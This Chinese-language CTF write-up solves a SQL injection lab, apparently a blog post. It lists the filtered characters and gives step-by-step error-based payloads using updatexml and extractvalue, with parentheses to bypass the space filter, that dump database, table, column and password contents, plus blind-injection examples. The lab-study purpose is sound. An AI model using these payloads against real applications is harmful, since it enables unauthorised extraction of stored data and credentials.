• 绕过空格的报错注入


    绕过空格的报错注入

    • 环境:buuctf中[极客大挑战 2019]HardSQL1
    • 知识点:updatexml报错注入
    • 参考:wp1

    做题

    sql注入

    语法错误时,返回报错内容

    试着用注释符闭合,这里有个坑的地方,#以get形式传入时,要以url编码%23发送

    查询为假时,就会返回wrong password

    查询为真时,就会返回login success

    fuzz测试时,发现过滤了" ",*,union,and,=,sleep()

    过滤了union,我们不能使用联合查询

    过滤了and,我们也不太好使用布尔盲注和时间盲注,并且这里过滤了sleep

    并且fuzz这里%09,%0a,%0b,%0c,%0d以及tab都无法进行绕过空格

    1'and(substr(database(),1,1)='t')# //布尔盲注
    1'and(if(substr(database(),1,1)='t',sleep(5),1))#//时间盲注
    //如果用or的话
    //布尔盲注相当于1'or 0和1'or 1,如果有limit就会失效
    //时间盲注相当于1'or(if(substr(database(),1,1)='t',sleep(5),1)),时间不止5秒,将会非常久
    

    优先考虑报错注入

    updatexml

    payload:

    爆数据库

    1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

    爆表

    1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

    注意这里,用like代替=,并且()绕过了空格

    爆字段

    1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

    爆password具体内容

    1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23

    因为updatexml报错最多显示32位字符,所以只能显示部分flag

    用right爆出剩下flag

    1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))%23

    然后进行拼接,得到flag

    extractvalue

    跟updatexml不同的是,只需要两个参数

    爆数据库

    1'or(extractvalue(1,concat(0x7e,database(),0x7e)))%23

    爆表

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e)))%23

    爆字段

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e)))%23

    爆password内容

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e)))%23

    1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,25)))from(H4rDsq1)),0x7e)))%23

  • 相关阅读:
    ER_NOT_SUPPORTED_AUTH_MODE: Client does not support authentication protocol requested by server; consider upgrading MySQL client
    JavaScript 的 if else 和 switch对比
    setTimeout 、 promise、async await 的执行顺序?宏任务、微任务,分别包含哪些?
    mac终端,自定义命令提示符。zsh导致PS1变量序列字符失效!!!
    js基础——错误处理
    Nginx | CentOS 8 安装Nginx详细教程
    Vue | 虚拟DOM
    Vue | 双向数据绑定
    Hexo | 超详细的hexo+githhub page搭建过程
    JavaScript | 彻底搞懂JS闭包
  • 原文地址:https://www.cnblogs.com/NineOne/p/14044590.html
Copyright © 2020-2023  润新知